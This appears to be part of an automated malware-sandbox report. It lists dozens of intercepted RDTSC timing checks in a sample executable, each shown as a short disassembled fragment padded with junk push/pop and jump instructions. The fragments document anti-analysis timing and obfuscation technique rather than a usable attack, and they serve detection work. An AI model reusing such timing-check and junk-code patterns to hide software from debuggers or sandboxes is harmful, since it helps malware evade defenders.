Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D689C9 second address: D68A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F6999135DEEh 0x0000000e pushad 0x0000000f popad 0x00000010 jp 00007F6999135DE6h 0x00000016 popad 0x00000017 pushad 0x00000018 jns 00007F6999135DEEh 0x0000001e jmp 00007F6999135DF4h 0x00000023 push eax 0x00000024 push edx 0x00000025 je 00007F6999135DE6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D676F3 second address: D676F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D676F7 second address: D676FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67433 second address: D6743C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68170 second address: D68174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D682D9 second address: D682FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F699913D309h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D682FA second address: D682FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D682FF second address: D68304 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BDD4 second address: D6BDEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F6999135DEDh 0x0000000c jg 00007F6999135DE6h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BDEF second address: D6BE07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D2FEh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F699913D2F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EA81 second address: D6EA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F6999135DEFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EA9A second address: D6EAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EAA3 second address: D6EAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EAA7 second address: D6EAE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F699913D2FDh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F699913D300h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71328 second address: D7135C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6999135DF0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6999135DF8h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7135C second address: D71368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71368 second address: D7136C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7136C second address: D71370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE570C second address: CE5727 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE5727 second address: CE572D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70F34 second address: D70F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007F6999135DFEh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70F5C second address: D70F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70F62 second address: D70F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70F66 second address: D70F6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70F6C second address: D70F7C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F6999135DE6h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7109F second address: D710A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D710A8 second address: D710AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D710AD second address: D710B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D710B3 second address: D710BD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6999135DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75E78 second address: D75E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75E7C second address: D75E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75E82 second address: D75E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75E8A second address: D75E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75E8E second address: D75EC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F699913D305h 0x00000014 pop esi 0x00000015 jc 00007F699913D2FCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75EC7 second address: D75ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6999135DECh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75314 second address: D75323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75723 second address: D75747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007F6999135DF6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75A6A second address: D75A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78668 second address: D7868B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007F6999135DF2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7868B second address: D78698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F699913D2F6h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78698 second address: D7869E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78805 second address: D7881D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F699913D2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F699913D2FAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EAA9 second address: D7EAAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D350 second address: D7D355 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D7EF second address: D7D7F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D7F3 second address: D7D804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DDC0 second address: D7DDD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F6999135DEAh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86B9F second address: D86BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86BA5 second address: D86BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6999135DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85188 second address: D851A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F699913D2FAh 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007F699913D2F6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D851A3 second address: D851AD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6999135DEEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D851AD second address: D851B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8544E second address: D85454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85DB3 second address: D85DDC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F699913D2F6h 0x00000008 jmp 00007F699913D2FFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F699913D2FBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85DDC second address: D85DF3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6999135DE6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6999135DEBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AC03 second address: D8AC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8B376 second address: D8B395 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6999135DF9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8B395 second address: D8B39A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9782E second address: D97832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D979A3 second address: D979B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D2FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D979B1 second address: D979BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D979BF second address: D979CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F699913D2F6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D979CB second address: D979EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D979EC second address: D979FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007F699913D2F6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D979FD second address: D97A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97A01 second address: D97A15 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F699913D2FEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97B5C second address: D97B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6999135DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97B66 second address: D97B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F699913D2FFh 0x0000000f jmp 00007F699913D307h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97E06 second address: D97E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97E0E second address: D97E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9893E second address: D98959 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F6999135DF1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B4EB second address: D9B507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D2FFh 0x00000007 jc 00007F699913D2F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA29DD second address: DA29F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F6999135DEFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA29F2 second address: DA29F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEB79 second address: DAEB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4EEA second address: DB4F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F699913D308h 0x00000008 jo 00007F699913D2F6h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F699913D2F6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4F16 second address: DB4F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB70F1 second address: DB70F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB70F9 second address: DB70FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB70FD second address: DB711E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F699913D2FAh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F699913D2FDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB711E second address: DB7123 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7231 second address: DB7241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8CC8 second address: DB8CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC864D second address: DC8652 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8520 second address: DC8534 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6999135DEFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFB0E second address: DCFB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCFC50 second address: DCFC78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DEBh 0x00000007 jmp 00007F6999135DF0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f ja 00007F6999135DE6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0131 second address: DD0143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D2FAh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0143 second address: DD0147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD02D7 second address: DD02DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4BA6 second address: DD4BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F6999135DF8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4BC9 second address: DD4BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6E57 second address: DD6E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007F6999135DE6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6E69 second address: DD6E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD93BA second address: DD93BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD93BE second address: DD93C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD93C6 second address: DD93CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1315 second address: DE1319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1319 second address: DE1323 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6999135DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1323 second address: DE1351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F699913D302h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007F699913D302h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6870 second address: DE687B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F6999135DE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7EC1 second address: DE7EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
